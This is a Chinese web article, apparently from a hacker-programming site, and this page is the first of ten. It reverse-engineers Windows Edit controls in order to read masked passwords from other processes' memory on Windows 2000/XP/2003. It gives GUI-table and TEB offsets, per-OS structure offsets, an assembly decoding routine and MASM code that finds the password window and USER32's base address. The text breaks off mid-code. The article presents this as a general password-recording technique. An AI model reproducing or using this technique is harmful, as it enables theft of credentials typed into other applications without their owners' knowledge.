安全中国首页 > 文章中心 > 黑客编程
 
在这里添加Edit控件密码窗口的秘密--一种全新的通用密码记录技术
更新时间:2008-3-24 0:12:15
责任编辑:阿loosen
热 点:


:77D414BD FF154410D177 Call dword ptr [77D11044] ;对该函数分析可知,esi+00存放编码后的密码的地址

*分析GetWindowTextA后的总结*

分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:

1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.

我们的进程可不可以获得这三个参数呢?

对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId

对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄

对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,

它里面的值简单的说就是一些指向窗体信息结构的指针.

*获得GUI TABLE在R3成层的映射基地址*

我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要

调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处

:77D21020 8DB5A0FAFFFF lea esi, dword ptr [ebp+FFFFFAA0]

:77D21026 BF8000D777 mov edi, 77D70080 ;注意不是77D70084

:77D2102B F3 repz

:77D2102C A5 movsd

会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!

分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:

:77D535F5 B88000D777 mov eax, 77D70080

:77D535FA 5D pop ebp

:77D535FB C20800 ret 0008

到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)

*把密码算出来*

第一步:

取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex

第二步:

得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase

第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1

第四步:

TEB基地址+6cch+1ch,取里面的值,得到RealClientID

第五步:

PHwndStruct1-RealClientID得到PHwndStruct2

第六步:

PHwndStruct2+A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct

第七步:

PRealWinStruct+00h里面的值是编码后的密码的地址

PRealWinStruct+0ch里面值是密码长度我们叫PASSLEN

PRealWinStruct+ech里面值是解码要用到的一个变量我们叫ENCODE.

第八步:

解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:

MOV EDX,ENCODE

mov cl,dl

mov edi,PASSLEN

@@nextpass:

CMP EDI,1

JBE @@firstpass

mov eax,esi ;esi指向编码后的密码的第一个字节.

add eax,edi

mov dl,[eax-2]

xor dl,[eax-1]

xor dl,cl ;重要

mov [eax-1],dl

dec edi

jmp @@nextpass

@@firstpass:

or cl,43h

mov edx,offset buffer1

xor [edx],cl

注意通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是+98h

2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch

*具体编码*

为了证明思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.

下面把关键实现代码分析一下:

第一步:得到密码密窗口句柄:

invoke GetCursorPos,addr @stPoint ;得到当前光标位置

invoke WindowFromPoint,@stPoint.x,@stPoint.y ;得到光标下窗口的句柄

mov @hWindow,eax

.if eax != NULL

invoke GetWindowLong,@hWindow,GWL_STYLE ;得到窗口风格

.if (eax & ES_PASSWORD) ;是密码框吗?

invoke GetClassName,@hWindow,offset classname,64 ;如果是得到控件类名

invoke lstrcmpi,offset classname,offset editname

.if eax == 0 ;如果类名是Edit,那么调用ViewPass函数读密码

mov eax,@hWindow

mov WINHAND,eax

invoke ViewPass

.endif

.endif

.endif

第二步:判断系统:

LOCAL verinfOSVERSIONINFO

mov verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO

invoke GetVersionEx,addr verinfo

.if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)

mov eax,1 ;xp

mov passoffset,0A4H

mov lenoffset ,14H

程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试

同一种系统偏移没有变化,所以通用性应该很好.

第三步:得到密码窗口的线程和进程ID

invoke GetWindowThreadProcessId,eBx,addr parid

MOV WINTHREADID,EAX ;返回值为线程ID

第一个参数为窗口句柄,第二个参数为得到进程ID

第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

invoke GetUser32Base,parid

返回值就是基地址:)

GetUser32Base proc uses ebx esi edi remoteproid

LOCAL hSnapshot:dword

LOCAL modinfMODULEENTRY32

LOCAL modname[256]:byte

mov modinfo.dwSize,sizeof MODULEENTRY32

invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块

mov hSnapshot,eax

invoke Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录

.while eax ;相应模块加载的基地址

上一页 1 2 3 4 5 6 7 8 9 10 下一页

 
相关文章
48小时热门文章
 
48小时热门软件
48小时热门动画